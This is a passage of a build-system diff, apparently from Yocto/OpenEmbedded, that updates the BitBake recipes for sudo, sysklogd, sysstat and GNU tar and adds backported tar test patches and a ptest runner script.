@@ -44,16 +44,18 @@ do_install_append () {
44 rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo 44 rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
45} 45}
46 46
47FILES_${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \ 47FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
48 ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la" 48 ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
49 49
50CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
51
50SUDO_PACKAGES = "${PN}-sudo\ 52SUDO_PACKAGES = "${PN}-sudo\
51 ${PN}-lib" 53 ${PN}-lib"
52 54
53PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}" 55PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
54 56
55RDEPENDS_${PN}-sudo = "${PN}-lib" 57RDEPENDS:${PN}-sudo = "${PN}-lib"
56RDEPENDS_${PN} += "${SUDO_PACKAGES}" 58RDEPENDS:${PN} += "${SUDO_PACKAGES}"
57 59
58FILES_${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit" 60FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
59FILES_${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}" 61FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.2.1.bb b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
index aa3f126fbc..c9c9055142 100644
--- a/meta/recipes-extended/sysklogd/sysklogd_2.2.1.bb
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
@@ -10,17 +10,17 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
10 10
11inherit update-rc.d update-alternatives systemd autotools 11inherit update-rc.d update-alternatives systemd autotools
12 12
13SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \ 13SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \
14 file://sysklogd \ 14 file://sysklogd \
15 " 15 "
16 16
17SRCREV = "b115c7ec4e6d9f3587ac8d212bfc454bfbfe7023" 17SRCREV = "3332c550f1a68393daec5d64cd81f3b7674c0af5"
18 18
19S = "${WORKDIR}/git" 19S = "${WORKDIR}/git"
20 20
21EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger" 21EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
22 22
23do_install_append () { 23do_install:append () {
24 install -d ${D}${sysconfdir} 24 install -d ${D}${sysconfdir}
25 install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf 25 install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
26 install -d ${D}${sysconfdir}/init.d 26 install -d ${D}${sysconfdir}/init.d
@@ -28,21 +28,21 @@ do_install_append () {
28} 28}
29 29
30SYSTEMD_PACKAGES = "${PN}" 30SYSTEMD_PACKAGES = "${PN}"
31SYSTEMD_SERVICE_${PN} = "syslogd.service" 31SYSTEMD_SERVICE:${PN} = "syslogd.service"
32SYSTEMD_AUTO_ENABLE = "enable" 32SYSTEMD_AUTO_ENABLE = "enable"
33 33
34INITSCRIPT_NAME = "syslog" 34INITSCRIPT_NAME = "syslog"
35CONFFILES_${PN} = "${sysconfdir}/syslog.conf" 35CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
36RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng" 36RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
37 37
38FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}" 38FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
39 39
40ALTERNATIVE_PRIORITY = "100" 40ALTERNATIVE_PRIORITY = "100"
41 41
42ALTERNATIVE_${PN}-doc = "syslogd.8" 42ALTERNATIVE:${PN}-doc = "syslogd.8"
43ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8" 43ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
44 44
45pkg_prerm_${PN} () { 45pkg_prerm:${PN} () {
46 if test "x$D" = "x"; then 46 if test "x$D" = "x"; then
47 if test "$1" = "upgrade" -o "$1" = "remove"; then 47 if test "$1" = "upgrade" -o "$1" = "remove"; then
48 /etc/init.d/syslog stop || : 48 /etc/init.d/syslog stop || :
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
index 4067bb983b..84383f955f 100644
--- a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
+++ b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
@@ -1,7 +1,7 @@
1From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001 1From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
2From: Wenlin Kang <wenlin.kang@windriver.com> 2From: Wenlin Kang <wenlin.kang@windriver.com>
3Date: Tue, 5 Nov 2019 16:16:44 +0800 3Date: Tue, 5 Nov 2019 16:16:44 +0800
4Subject: [PATCH] configure.in: remove check for chkconfig 4Subject: [PATCH] configure.ac: remove check for chkconfig
5 5
6chkconfig can't work on cross-platform, so should remove check for it. 6chkconfig can't work on cross-platform, so should remove check for it.
7 7
@@ -9,13 +9,13 @@ Upstream-Status: Inappropriate [ embedded specific ]
9 9
10Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com> 10Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
11--- 11---
12 configure.in | 3 ++- 12 configure.ac | 3 ++-
13 1 file changed, 2 insertions(+), 1 deletion(-) 13 1 file changed, 2 insertions(+), 1 deletion(-)
14 14
15diff --git a/configure.in b/configure.in 15diff --git a/configure.ac b/configure.ac
16index 48b9a31..cedeb43 100644 16index 48b9a31..cedeb43 100644
17--- a/configure.in 17--- a/configure.ac
18+++ b/configure.in 18+++ b/configure.ac
19@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON) 19@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
20 AC_SUBST(VER_XML) 20 AC_SUBST(VER_XML)
21 21
diff --git a/meta/recipes-extended/sysstat/sysstat_12.4.3.bb b/meta/recipes-extended/sysstat/sysstat_12.4.3.bb
deleted file mode 100644
index 5a27de439f..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.4.3.bb
+++ /dev/null
@@ -1,7 +0,0 @@
1require sysstat.inc
2
3LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
4
5SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
6
7SRC_URI[sha256sum] = "ae432431f45aacbcabacfbbe129e2505e215cafa9ce996d7550c6091a46f0bfd"
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
index e5e134c038..150f4932d8 100644
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
@@ -1,20 +1,24 @@
1SUMMARY = "System performance tools" 1SUMMARY = "System performance tools"
2DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux." 2DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
3HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/" 3HOMEPAGE = "https://sysstat.github.io/"
4LICENSE = "GPLv2+" 4LICENSE = "GPL-2.0-or-later"
5SECTION = "console/utils" 5SECTION = "console/utils"
6 6
7SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \ 7SRC_URI = "git://github.com/sysstat/sysstat.git;protocol=https;branch=master \
8 file://99_sysstat \ 8 file://99_sysstat \
9 file://sysstat.service \ 9 file://sysstat.service \
10 file://0001-configure.in-remove-check-for-chkconfig.patch \
10 " 11 "
11 12
12UPSTREAM_CHECK_URI = "http://sebastien.godard.pagesperso-orange.fr/download.html" 13LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
14
15SRCREV = "2d7682f26f42cef9127b123e319349b330c4ab8f"
16S = "${WORKDIR}/git"
13 17
14DEPENDS += "base-passwd" 18DEPENDS += "base-passwd"
15 19
16# autotools-brokensep as this package doesn't use automake 20# autotools-brokensep as this package doesn't use automake
17inherit autotools-brokensep gettext systemd upstream-version-is-even 21inherit autotools-brokensep gettext systemd
18 22
19PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" 23PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
20PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors" 24PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
@@ -23,7 +27,11 @@ PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
23 27
24EXTRA_OECONF += "--disable-stripping" 28EXTRA_OECONF += "--disable-stripping"
25 29
26do_configure_prepend() { 30SYSTEMD_PACKAGES = "${PN}"
31SYSTEMD_SERVICE:${PN} = "sysstat.service"
32SYSTEMD_AUTO_ENABLE = "enable"
33
34do_configure:prepend() {
27 export sa_lib_dir=${libexecdir}/sa 35 export sa_lib_dir=${libexecdir}/sa
28} 36}
29 37
@@ -40,21 +48,21 @@ do_install() {
40 install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles 48 install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
41 fi 49 fi
42 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then 50 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
43 install -d ${D}${sysconfdir}/tmpfiles.d 51 install -d ${D}${nonarch_libdir}/tmpfiles.d
44 echo "d ${localstatedir}/log/sa - - - -" \ 52 echo "d ${localstatedir}/log/sa - - - -" \
45 > ${D}${sysconfdir}/tmpfiles.d/sysstat.conf 53 > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
46 54
47 # Unless both cron and systemd are enabled, install our own 55 # Unless both cron and systemd are enabled, install our own
48 # systemd unit file. Otherwise the package will install one. 56 # systemd unit file. Otherwise the package will install one.
49 if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then 57 if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
50 install -d ${D}${systemd_unitdir}/system 58 install -d ${D}${systemd_system_unitdir}
51 install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system 59 install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
52 sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_unitdir}/system/sysstat.service 60 sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
53 fi 61 fi
54 fi 62 fi
55} 63}
56 64
57pkg_postinst_${PN} () { 65pkg_postinst:${PN} () {
58 if [ ! -n "$D" ]; then 66 if [ ! -n "$D" ]; then
59 if [ -e /etc/init.d/populate-volatile.sh ]; then 67 if [ -e /etc/init.d/populate-volatile.sh ]; then
60 /etc/init.d/populate-volatile.sh update 68 /etc/init.d/populate-volatile.sh update
@@ -62,6 +70,11 @@ pkg_postinst_${PN} () {
62 fi 70 fi
63} 71}
64 72
65FILES_${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd" 73FILES:${PN} += " \
74 ${systemd_system_unitdir} \
75 ${nonarch_base_libdir}/systemd \
76 ${nonarch_libdir}/tmpfiles.d \
77"
66 78
67TARGET_CC_ARCH += "${LDFLAGS}" 79TARGET_CC_ARCH += "${LDFLAGS}"
80
diff --git a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
new file mode 100644
index 0000000000..27d4d9aebf
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
@@ -0,0 +1,228 @@
1From 39849e9d91f477d3fb839f93cd0815d0cb3273e9 Mon Sep 17 00:00:00 2001
2From: Paul Eggert <eggert@cs.ucla.edu>
3Date: Tue, 18 Jul 2023 09:15:03 -0700
4Subject: tests: fix TESTSUITE_AT
5
6Problem reported by Lukas Javorsky <ljavorsk@redhat.com> in:
7https://lists.gnu.org/r/bug-tar/2023-07/msg00002.html
8* tests/Makefile.am (TESTSUITE_AT): Add exclude17.at, exclude18.at.
9Remove compress.m4; all uses changed. Add a comment saying how
10to rederive this. Sort.
11
12Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=39849e9d91f477d3fb839f93cd0815d0cb3273e9]
13---
14 tests/Makefile.am | 93 ++++++++++++++++++++++++++++---------------------------
15 1 file changed, 48 insertions(+), 45 deletions(-)
16
17diff --git a/tests/Makefile.am b/tests/Makefile.am
18index 4a8f501..1884b72 100644
19--- a/tests/Makefile.am
20+++ b/tests/Makefile.am
21@@ -45,21 +45,24 @@ $(srcdir)/package.m4: $(top_srcdir)/configure.ac
22 ## Test suite. ##
23 ## ------------ ##
24
25+# You can generate the body of this macro with the following shell command:
26+# LC_ALL=C ls *.at */*.at | sed -e 's/^/ /' -e '$!s/$/\\/'
27 TESTSUITE_AT = \
28- testsuite.at\
29- compress.m4\
30 T-cd.at\
31 T-dir00.at\
32 T-dir01.at\
33 T-empty.at\
34+ T-mult.at\
35+ T-nest.at\
36+ T-nonl.at\
37 T-null.at\
38 T-null2.at\
39 T-rec.at\
40 T-recurse.at\
41 T-zfile.at\
42- T-nonl.at\
43- T-mult.at\
44- T-nest.at\
45+ acls01.at\
46+ acls02.at\
47+ acls03.at\
48 add-file.at\
49 append.at\
50 append01.at\
51@@ -68,14 +71,15 @@ TESTSUITE_AT = \
52 append04.at\
53 append05.at\
54 backup01.at\
55- chtype.at\
56- comprec.at\
57- comperr.at\
58+ capabs_raw01.at\
59 checkpoint/defaults.at\
60- checkpoint/interval.at\
61- checkpoint/dot.at\
62 checkpoint/dot-compat.at\
63 checkpoint/dot-int.at\
64+ checkpoint/dot.at\
65+ checkpoint/interval.at\
66+ chtype.at\
67+ comperr.at\
68+ comprec.at\
69 delete01.at\
70 delete02.at\
71 delete03.at\
72@@ -83,6 +87,8 @@ TESTSUITE_AT = \
73 delete05.at\
74 delete06.at\
75 difflink.at\
76+ dirrem01.at\
77+ dirrem02.at\
78 exclude.at\
79 exclude01.at\
80 exclude02.at\
81@@ -100,6 +106,8 @@ TESTSUITE_AT = \
82 exclude14.at\
83 exclude15.at\
84 exclude16.at\
85+ exclude17.at\
86+ exclude18.at\
87 extrac01.at\
88 extrac02.at\
89 extrac03.at\
90@@ -127,11 +135,9 @@ TESTSUITE_AT = \
91 extrac25.at\
92 filerem01.at\
93 filerem02.at\
94- dirrem01.at\
95- dirrem02.at\
96- gzip.at\
97 grow.at\
98- incremental.at\
99+ gzip.at\
100+ ignfail.at\
101 incr01.at\
102 incr02.at\
103 incr03.at\
104@@ -143,8 +149,8 @@ TESTSUITE_AT = \
105 incr09.at\
106 incr10.at\
107 incr11.at\
108+ incremental.at\
109 indexfile.at\
110- ignfail.at\
111 label01.at\
112 label02.at\
113 label03.at\
114@@ -188,22 +194,16 @@ TESTSUITE_AT = \
115 opcomp04.at\
116 opcomp05.at\
117 opcomp06.at\
118- positional01.at\
119- positional02.at\
120- positional03.at\
121 options.at\
122 options02.at\
123 options03.at\
124 owner.at\
125 pipe.at\
126- recurse.at\
127+ positional01.at\
128+ positional02.at\
129+ positional03.at\
130 recurs02.at\
131- rename01.at\
132- rename02.at\
133- rename03.at\
134- rename04.at\
135- rename05.at\
136- rename06.at\
137+ recurse.at\
138 remfiles01.at\
139 remfiles02.at\
140 remfiles03.at\
141@@ -226,11 +226,19 @@ TESTSUITE_AT = \
142 remfiles09b.at\
143 remfiles09c.at\
144 remfiles10.at\
145+ rename01.at\
146+ rename02.at\
147+ rename03.at\
148+ rename04.at\
149+ rename05.at\
150+ rename06.at\
151 same-order01.at\
152 same-order02.at\
153+ selacl01.at\
154+ selnx01.at\
155 shortfile.at\
156- shortupd.at\
157 shortrec.at\
158+ shortupd.at\
159 sigpipe.at\
160 sparse01.at\
161 sparse02.at\
162@@ -247,6 +255,13 @@ TESTSUITE_AT = \
163 sptrcreat.at\
164 sptrdiff00.at\
165 sptrdiff01.at\
166+ star/gtarfail.at\
167+ star/gtarfail2.at\
168+ star/multi-fail.at\
169+ star/pax-big-10g.at\
170+ star/ustar-big-2g.at\
171+ star/ustar-big-8g.at\
172+ testsuite.at\
173 time01.at\
174 time02.at\
175 truncate.at\
176@@ -255,21 +270,11 @@ TESTSUITE_AT = \
177 update02.at\
178 update03.at\
179 update04.at\
180- volsize.at\
181- volume.at\
182 verbose.at\
183 verify.at\
184 version.at\
185- xform-h.at\
186- xform01.at\
187- xform02.at\
188- xform03.at\
189- star/gtarfail.at\
190- star/gtarfail2.at\
191- star/multi-fail.at\
192- star/ustar-big-2g.at\
193- star/ustar-big-8g.at\
194- star/pax-big-10g.at\
195+ volsize.at\
196+ volume.at\
197 xattr01.at\
198 xattr02.at\
199 xattr03.at\
200@@ -278,12 +283,10 @@ TESTSUITE_AT = \
201 xattr06.at\
202 xattr07.at\
203 xattr08.at\
204- acls01.at\
205- acls02.at\
206- acls03.at\
207- selnx01.at\
208- selacl01.at\
209- capabs_raw01.at
210+ xform-h.at\
211+ xform01.at\
212+ xform02.at\
213+ xform03.at
214
215 distclean-local:
216 -rm -rf download
217@@ -291,7 +294,7 @@ distclean-local:
218 TESTSUITE = $(srcdir)/testsuite
219
220 AUTOTEST = $(AUTOM4TE) --language=autotest
221-$(TESTSUITE): package.m4 $(TESTSUITE_AT)
222+$(TESTSUITE): compress.m4 package.m4 $(TESTSUITE_AT)
223 $(AUTOTEST) -I $(srcdir) testsuite.at -o $@.tmp
224 mv $@.tmp $@
225
226--
227cgit v1.1
228
diff --git a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
new file mode 100644
index 0000000000..6cd8c5510f
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
@@ -0,0 +1,60 @@
1From 0f0722df45ec520d0dac7c9ad7e69165e9140931 Mon Sep 17 00:00:00 2001
2From: Paul Eggert <eggert@cs.ucla.edu>
3Date: Fri, 7 Oct 2022 15:22:07 -0700
4Subject: tests: check for recently-fixed bug
5
6* tests/exclude17.at: New file.
7
8Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=0f0722df45ec520d0dac7c9ad7e69165e9140931]
9
10Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
11
12---
13 tests/exclude17.at | 35 +++++++++++++++++++++++++++++++++++
14 1 files changed, 35 insertions(+)
15 create mode 100644 tests/exclude17.at
16
17diff --git a/tests/exclude17.at b/tests/exclude17.at
18new file mode 100644
19index 0000000..4162b2b
20--- /dev/null
21+++ b/tests/exclude17.at
22@@ -0,0 +1,35 @@
23+# Process this file with autom4te to create testsuite. -*- Autotest -*-
24+#
25+# Test suite for GNU tar.
26+# Copyright 2013-2022 Free Software Foundation, Inc.
27+
28+# This file is part of GNU tar.
29+
30+# GNU tar is free software; you can redistribute it and/or modify
31+# it under the terms of the GNU General Public License as published by
32+# the Free Software Foundation; either version 3 of the License, or
33+# (at your option) any later version.
34+
35+# GNU tar is distributed in the hope that it will be useful,
36+# but WITHOUT ANY WARRANTY; without even the implied warranty of
37+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
38+# GNU General Public License for more details.
39+
40+# You should have received a copy of the GNU General Public License
41+# along with this program. If not, see <http://www.gnu.org/licenses/>.
42+
43+AT_SETUP([--exclude-vcs-ignores memory allocation])
44+AT_KEYWORDS([exclude exclude17])
45+
46+AT_TAR_CHECK([
47+mkdir dir
48+cd dir
49+echo '*.o' >.cvsignore
50+tar -cf - --exclude-vcs-ignores . | tar -tf -
51+],
52+[0],
53+[./
54+./.cvsignore
55+])
56+
57+AT_CLEANUP
58--
59cgit v1.1
60
diff --git a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
new file mode 100644
index 0000000000..577a9ba997
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
@@ -0,0 +1,112 @@
1From 4f814e0e4c673f86dc65a557f7e55f6b5efd1529 Mon Sep 17 00:00:00 2001
2From: Anton Makrushin <makrusan@gmail.com>
3Date: Mon, 20 Mar 2023 20:05:42 +0530
4Subject: Exclude VCS directory with writing from an archive
5
6See https://savannah.gnu.org/bugs/?62859
7
8Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=4f814e0e4c673f86dc65a557f7e55f6b5efd1529]
9
10Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
11
12---
13 tests/exclude18.at | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
14 1 files changed, 87 insertions(+)
15 create mode 100644 tests/exclude18.at
16
17diff --git a/tests/exclude18.at b/tests/exclude18.at
18new file mode 100644
19index 0000000..64aaa52
20--- /dev/null
21+++ b/tests/exclude18.at
22@@ -0,0 +1,87 @@
23+# Process this file with autom4te to create testsuite. -*- Autotest -*-
24+
25+# Test suite for GNU tar.
26+# Copyright 2004-2023 Free Software Foundation, Inc.
27+
28+# This file is part of GNU tar.
29+
30+# GNU tar is free software; you can redistribute it and/or modify
31+# it under the terms of the GNU General Public License as published by
32+# the Free Software Foundation; either version 3 of the License, or
33+# (at your option) any later version.
34+
35+# GNU tar is distributed in the hope that it will be useful,
36+# but WITHOUT ANY WARRANTY; without even the implied warranty of
37+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
38+# GNU General Public License for more details.
39+
40+# You should have received a copy of the GNU General Public License
41+# along with this program. If not, see <http://www.gnu.org/licenses/>.
42+
43+# Test --exclude-vcs option with subcommands: EXTRACT, LIST, DIFF.
44+# Check VCS directory with files, and empty.
45+#
46+# Ref: https://savannah.gnu.org/bugs/?62859
47+# Wed 03 Aug 2022 04:06:28 PM UTC, original submission: Quote
48+# Mohamed Akram <mohdakram>
49+# > The --exclude-vcs flag seems to exclude .gitignore but not .git when
50+# extracting.
51+
52+AT_SETUP([--exclude-vcs extract list compare])
53+AT_KEYWORDS([exclude-vcs extract list compare exclude18])
54+
55+AT_TAR_CHECK([
56+AT_SORT_PREREQ
57+mkdir gitrepo
58+cd gitrepo
59+
60+# Make an empty VCS directory:
61+mkdir .svn
62+
63+# Make a VCS directory with a file:
64+mkdir .git
65+touch .git/_A
66+
67+# Make a VCS file:
68+touch .gitignore
69+
70+# Make non-VCS files:
71+touch .git_B
72+touch _C
73+
74+# Create an archive, include VCS:
75+cd ..
76+tar -cf gitrepo.tar gitrepo
77+rm -r gitrepo
78+
79+echo Extract:
80+tar -xvf gitrepo.tar --exclude-vcs | sort
81+
82+echo
83+echo List:
84+tar -tf gitrepo.tar --exclude-vcs | sort
85+
86+echo
87+echo Diff:
88+tar -dvf gitrepo.tar --exclude-vcs gitrepo | sort
89+
90+],
91+[0],
92+[Extract:
93+gitrepo/
94+gitrepo/.git_B
95+gitrepo/_C
96+
97+List:
98+gitrepo/
99+gitrepo/.git_B
100+gitrepo/_C
101+
102+Diff:
103+gitrepo/
104+gitrepo/.git_B
105+gitrepo/_C
106+],
107+[])
108+
109+AT_CLEANUP
110--
111cgit v1.1
112
diff --git a/meta/recipes-extended/tar/tar/run-ptest b/meta/recipes-extended/tar/tar/run-ptest
new file mode 100644
index 0000000000..185b33d61a
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/run-ptest
@@ -0,0 +1,14 @@
1#!/bin/sh
2
3# Define tar test work dir
4WORKDIR=@PTEST_PATH@/tests/
5
6# Run test
7cd ${WORKDIR}
8./atconfig ./atlocal ./testsuite
9
10# clear log
11rm -rf testsuite.dir
12rm -rf testsuite.log
13
14./testsuite --am-fmt
diff --git a/meta/recipes-extended/tar/tar_1.34.bb b/meta/recipes-extended/tar/tar_1.34.bb
deleted file mode 100644
index af04919c41..0000000000
--- a/meta/recipes-extended/tar/tar_1.34.bb
+++ /dev/null
@@ -1,63 +0,0 @@
1SUMMARY = "GNU file archiving program"
2DESCRIPTION = "GNU tar saves many files together into a single tape \
3or disk archive, and can restore individual files from the archive."
4HOMEPAGE = "http://www.gnu.org/software/tar/"
5SECTION = "base"
6LICENSE = "GPLv3"
7LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
8
9SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
10
11SRC_URI[sha256sum] = "b44cc67f8a1f6b0250b7c860e952b37e8ed932a90bd9b1862a511079255646ff"
12
13inherit autotools gettext texinfo
14
15PACKAGECONFIG ??= ""
16PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
17
18PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
19
20EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
21
22CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
23
24# Let aclocal use the relative path for the m4 file rather than the
25# absolute since tar has a lot of m4 files, otherwise there might
26# be an "Argument list too long" error when it is built in a long/deep
27# directory.
28acpaths = "-I ./m4"
29
30do_install () {
31 autotools_do_install
32 ln -s tar ${D}${bindir}/gtar
33}
34
35do_install_append_class-target() {
36 if [ "${base_bindir}" != "${bindir}" ]; then
37 install -d ${D}${base_bindir}
38 mv ${D}${bindir}/tar ${D}${base_bindir}/tar
39 mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
40 rmdir ${D}${bindir}/
41 fi
42}
43
44PACKAGES =+ "${PN}-rmt"
45
46FILES_${PN}-rmt = "${sbindir}/rmt*"
47
48inherit update-alternatives
49
50ALTERNATIVE_PRIORITY = "100"
51
52ALTERNATIVE_${PN} = "tar"
53ALTERNATIVE_${PN}-rmt = "rmt"
54ALTERNATIVE_${PN}_class-nativesdk = ""
55ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
56
57ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
58ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
59
60PROVIDES_append_class-native = " tar-replacement-native"
61NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
62
63BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar_1.35.bb b/meta/recipes-extended/tar/tar_1.35.bb
new file mode 100644
index 0000000000..c7bd1d195e
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.35.bb
@@ -0,0 +1,102 @@
1SUMMARY = "GNU file archiving program"
2DESCRIPTION = "GNU tar saves many files together into a single tape \
3or disk archive, and can restore individual files from the archive."
4HOMEPAGE = "http://www.gnu.org/software/tar/"
5SECTION = "base"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
8
9SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
10
11SRC_URI[sha256sum] = "7edb8886a3dc69420a1446e1e2d061922b642f1cf632d2cd0f9ee7e690775985"
12
13inherit autotools gettext texinfo
14
15PACKAGECONFIG ??= ""
16PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
17
18PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
19PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
20
21EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
22
23CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
24
25# Let aclocal use the relative path for the m4 file rather than the
26# absolute since tar has a lot of m4 files, otherwise there might
27# be an "Argument list too long" error when it is built in a long/deep
28# directory.
29acpaths = "-I ./m4"
30
31do_install () {
32 autotools_do_install
33 ln -s tar ${D}${bindir}/gtar
34}
35
36do_install:append:class-target() {
37 if [ "${base_bindir}" != "${bindir}" ]; then
38 install -d ${D}${base_bindir}
39 mv ${D}${bindir}/tar ${D}${base_bindir}/tar
40 mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
41 rmdir ${D}${bindir}/
42 fi
43}
44
45# add for ptest support
46SRC_URI += " \
47 file://run-ptest \
48 file://0001-tests-fix-TESTSUITE_AT.patch \
49 file://0002-tests-check-for-recently-fixed-bug.patch \
50 file://0003-Exclude-VCS-directory-with-writing-from-an-archive.patch \
51"
52
53inherit ptest
54
55do_compile_ptest() {
56 oe_runmake -C ${B}/gnu/ check
57 oe_runmake -C ${B}/lib/ check
58 oe_runmake -C ${B}/rmt/ check
59 oe_runmake -C ${B}/src/ check
